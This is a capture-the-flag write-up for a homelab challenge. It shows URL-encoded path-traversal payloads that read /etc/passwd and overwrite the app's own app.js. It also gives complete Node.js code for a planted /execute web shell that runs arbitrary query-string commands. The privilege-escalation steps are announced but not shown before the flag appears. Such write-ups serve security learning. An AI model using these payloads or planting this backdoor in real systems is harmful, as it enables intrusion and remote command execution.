4T$ CTF 2024 - Homelab ? More like Pwnlab !

Nov 10, 2024    #writeups   #ctf   #docker   #privilege-escalation   #lfi  

We would start with 2 things:

I found that the application does not enforce the paths for uploading and downloading and you can upload/download whatever file you want, you just have to URL encode it like so:

..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

I’ve also realized that this application is running in a Docker container, by going through the web SSH, I can see the docker compose file in /home/admin/docker-compose.yml.

In the source code of the application I had an odd route called /restart this would restart the application, meaning that something is running and it is making sure that this application keeps running even if I exit the process (that’s what the /restart does). This likely hints that I need to change the application to gain RCE. So I’ve created another route called /execute and I’ve attached it to the app.js which looks like this:

app.get('/execute', (req, res) => {
  const command = req.query.cmd; // Get the command from the query string

  if (!command) {
    return res.send(`
      <p>Please provide a command using the <code>?cmd=</code> query string.</p>
      <p>Example: <code>/execute?cmd=ls</code></p>
    `);
  }

  exec(command, (error, stdout, stderr) => {
    if (error) {
      return res.send(`
        <p><strong>Error:</strong></p>
        <pre>${error.message}</pre>
        <p>Command: <code>${command}</code></p>
      `);
    }

    if (stderr) {
      return res.send(`
        <p><strong>Stderr:</strong></p>
        <pre>${stderr}</pre>
        <p>Command: <code>${command}</code></p>
      `);
    }

    res.send(`
      <p><strong>Output:</strong></p>
      <pre>${stdout}</pre>
      <p>Command: <code>${command}</code></p>
    `);
  });
});

Then I’ve URL encoded it with CyberChief, and uploaded the file to this path: ..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fapp.js, then I restarted the application using the /restart route.

After that the route should be available to us, and I can execute arbitrary commands like: /execute?cmd=ls

Dockerfile
app.js
entrypoint.sh
node_modules
package-lock.json
package.json
public
views

Now earlier docker-compose file (/home/admin/docker-compose.yml) which looks like this:

services:
	webapp:
		image: webapp
		ports:
			"8080:5555"
		volumes:
			/home/user/nas_storage:/app/public/uploads

I can see that the container’s path /app/public/uploads is mapped to /home/user/nas_storage path on the main server which I got web SSH access to, now here are the steps of how to privilege escalate to root:

And you should be root. Now you can read the flag located in /home/admin/flag

4T${pWnD_7h3_pwNl48??!}